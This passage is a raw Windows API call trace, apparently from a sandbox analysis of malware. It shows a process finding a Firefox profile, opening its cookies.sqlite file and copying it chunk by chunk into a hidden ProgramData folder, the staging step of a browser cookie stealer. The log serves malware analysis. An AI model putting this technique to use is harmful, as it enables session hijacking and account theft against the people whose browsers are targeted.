lpWideCharStr="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default") returned 80 [0049.208] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default")) returned 0x10 [0049.208] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1e81b08, cbMultiByte=27, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 27 [0049.208] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1e81b08, cbMultiByte=27, lpWideCharStr=0x1e81460, cchWideChar=27 | out: lpWideCharStr="\\Mozilla\\Firefox\\Profiles\\") returned 27 [0049.208] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1e81ad0, cbMultiByte=38, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 38 [0049.208] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1e81ad0, cbMultiByte=38, lpWideCharStr=0x1e810d0, cchWideChar=38 | out: lpWideCharStr="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming") returned 38 [0049.208] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\cookies.sqlite" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\cookies.sqlite")) returned 0x20 [0049.244] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1e81b08, cbMultiByte=27, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 27 [0049.244] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1e81b08, cbMultiByte=27, lpWideCharStr=0x1e81460, cchWideChar=27 | out: lpWideCharStr="\\Mozilla\\Firefox\\Profiles\\") returned 27 [0049.245] GetEnvironmentStringsW () returned 0x5919c8* [0049.245] FreeEnvironmentStringsW (penv=0x5919c8) returned 1 [0049.246] GetLastError () returned 0x2 [0049.246] SetLastError (dwErrCode=0x2) [0049.247] GetLastError () returned 0x2 [0049.247] SetLastError (dwErrCode=0x2) [0049.247] GetLastError () returned 0x2 [0049.247] SetLastError (dwErrCode=0x2) [0049.247] GetLastError () returned 0x2 [0049.247] SetLastError (dwErrCode=0x2) [0049.247] GetLastError () returned 0x2 [0049.247] SetLastError (dwErrCode=0x2) [0049.248] GetLastError () returned 0x2 [0049.248] SetLastError (dwErrCode=0x2) [0049.248] GetLastError () returned 0x2 [0049.248] SetLastError (dwErrCode=0x2) [0049.248] GetLastError () returned 0x2 [0049.248] SetLastError (dwErrCode=0x2) [0049.248] GetLastError () returned 0x2 [0049.248] SetLastError (dwErrCode=0x2) [0049.248] GetLastError () returned 0x2 [0049.248] SetLastError (dwErrCode=0x2) [0049.248] GetLastError () returned 0x2 [0049.248] SetLastError (dwErrCode=0x2) [0049.249] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\cookies.sqlite" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\cookies.sqlite"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x19ef44, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x38c [0049.249] GetFileType (hFile=0x38c) returned 0x1 [0049.249] GetLastError () returned 0x0 [0049.249] SetLastError (dwErrCode=0x0) [0049.249] GetLastError () returned 0x0 [0049.249] SetLastError (dwErrCode=0x0) [0049.250] GetLastError () returned 0x0 [0049.250] SetLastError (dwErrCode=0x0) [0049.250] GetLastError () returned 0x0 [0049.250] SetLastError (dwErrCode=0x0) [0049.250] GetLastError () returned 0x0 [0049.250] SetLastError (dwErrCode=0x0) [0049.250] GetLastError () returned 0x0 [0049.250] SetLastError (dwErrCode=0x0) [0049.250] GetLastError () returned 0x0 [0049.250] SetLastError (dwErrCode=0x0) [0049.250] GetLastError () returned 0x0 [0049.250] SetLastError (dwErrCode=0x0) [0049.251] CreateFileW (lpFileName="c" (normalized: "c:\\programdata\\z7oy7o0xpwlxm7m23rjk\\c"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x19ef44, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x390 [0049.252] GetFileType (hFile=0x390) returned 0x1 [0049.253] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8cec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8cec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.271] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8cec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8cec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.279] WriteFile (in: hFile=0x390, lpBuffer=0x1e8ded0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1e8ded0*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.280] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8cec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8cec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.280] WriteFile (in: hFile=0x390, lpBuffer=0x1e8ded0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1e8ded0*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.280] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8cec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8cec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.280] WriteFile (in: hFile=0x390, lpBuffer=0x1e8ded0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1e8ded0*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.281] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8cec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8cec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.281] WriteFile (in: hFile=0x390, lpBuffer=0x1e8ded0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1e8ded0*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.281] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8cec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8cec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.281] WriteFile (in: hFile=0x390, lpBuffer=0x1e8ded0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1e8ded0*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.281] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8cec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8cec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.281] WriteFile (in: hFile=0x390, lpBuffer=0x1e8ded0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1e8ded0*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.282] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8cec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8cec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.282] WriteFile (in: hFile=0x390, lpBuffer=0x1e8ded0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1e8ded0*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.282] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8cec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8cec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.282] WriteFile (in: hFile=0x390, lpBuffer=0x1e8ded0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1e8ded0*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.282] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8cec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8cec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.282] WriteFile (in: hFile=0x390, lpBuffer=0x1e8ded0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1e8ded0*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.283] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8cec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8cec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.283] WriteFile (in: hFile=0x390, lpBuffer=0x1e8ded0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1e8ded0*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.283] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8cec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8cec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.283] WriteFile (in: hFile=0x390, lpBuffer=0x1e8ded0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1e8ded0*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.284] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8cec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8cec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.284] WriteFile (in: hFile=0x390, lpBuffer=0x1e8ded0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1e8ded0*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.284] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8cec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8cec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.284] WriteFile (in: hFile=0x390, lpBuffer=0x1e8ded0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1e8ded0*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.284] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8cec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8cec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.287] WriteFile (in: hFile=0x390, lpBuffer=0x1e8ded0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1e8ded0*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.287] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8cec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8cec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.287] WriteFile (in: hFile=0x390, lpBuffer=0x1e8ded0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1e8ded0*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.287] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8cec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8cec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.287] WriteFile (in: hFile=0x390, lpBuffer=0x1e8ded0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1e8ded0*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.288] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8cec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8cec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.288] WriteFile (in: hFile=0x390, lpBuffer=0x1e8ded0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1e8ded0*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.288] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8cec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8cec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.288] WriteFile (in: hFile=0x390, lpBuffer=0x1e8ded0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1e8ded0*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.289] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8cec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8cec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.289] WriteFile (in: hFile=0x390, lpBuffer=0x1e8ded0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1e8ded0*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.289] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8cec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8cec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.289] WriteFile (in: hFile=0x390, lpBuffer=0x1e8ded0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1e8ded0*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.290] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8cec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8cec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.290] WriteFile (in: hFile=0x390, lpBuffer=0x1e8ded0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1e8ded0*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.290] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8cec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8cec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.290] WriteFile (in: hFile=0x390, lpBuffer=0x1e8ded0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1e8ded0*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.290] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8cec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8cec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.291] WriteFile (in: hFile=0x390, lpBuffer=0x1e8ded0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1e8ded0*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.291] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8cec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8cec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.291] WriteFile (in: hFile=0x390, lpBuffer=0x1e8ded0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1e8ded0*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.291] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8cec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8cec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.291] WriteFile (in: hFile=0x390, lpBuffer=0x1e8ded0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1e8ded0*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.292] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8cec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8cec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.292] WriteFile (in: hFile=0x390, lpBuffer=0x1e8ded0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1e8ded0*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.292] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8cec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8cec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.292] WriteFile (in: hFile=0x390, lpBuffer=0x1e8ded0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1e8ded0*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.292] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8cec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8cec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.292] WriteFile (in: hFile=0x390, lpBuffer=0x1e8ded0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1e8ded0*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.293] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8cec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8cec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.293] WriteFile (in: hFile=0x390, lpBuffer=0x1e8ded0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1e8ded0*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.293] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8cec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8cec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.293] WriteFile (in: hFile=0x390, lpBuffer=0x1e8ded0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1e8ded0*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.293] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8cec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8cec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.293] WriteFile (in: hFile=0x390, lpBuffer=0x1e8ded0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1e8ded0*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.294] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8cec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8cec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.294] WriteFile (in: hFile=0x390, lpBuffer=0x1e8ded0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1e8ded0*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.294] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8cec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8cec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.294] WriteFile (in: hFile=0x390, lpBuffer=0x1e8ded0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1e8ded0*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.294] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8cec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8cec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.294] WriteFile (in: hFile=0x390, lpBuffer=0x1e8ded0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1e8ded0*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.295] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8cec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8cec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.295] WriteFile (in: hFile=0x390, lpBuffer=0x1e8ded0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1e8ded0*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.295] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8cec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8cec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.295] WriteFile (in: hFile=0x390, lpBuffer=0x1e8ded0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1e8ded0*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.295] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8cec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8cec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.295] WriteFile (in: hFile=0x390, lpBuffer=0x1e8ded0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1e8ded0*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.295] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8cec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8cec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.295] WriteFile (in: hFile=0x390, lpBuffer=0x1e8ded0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1e8ded0*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.296] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8cec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8cec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.296] WriteFile (in: hFile=0x390, lpBuffer=0x1e8ded0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1e8ded0*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.296] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8cec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8cec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.296] WriteFile (in: hFile=0x390, lpBuffer=0x1e8ded0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1e8ded0*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.296] ReadFile (in: hFile=0x38c, 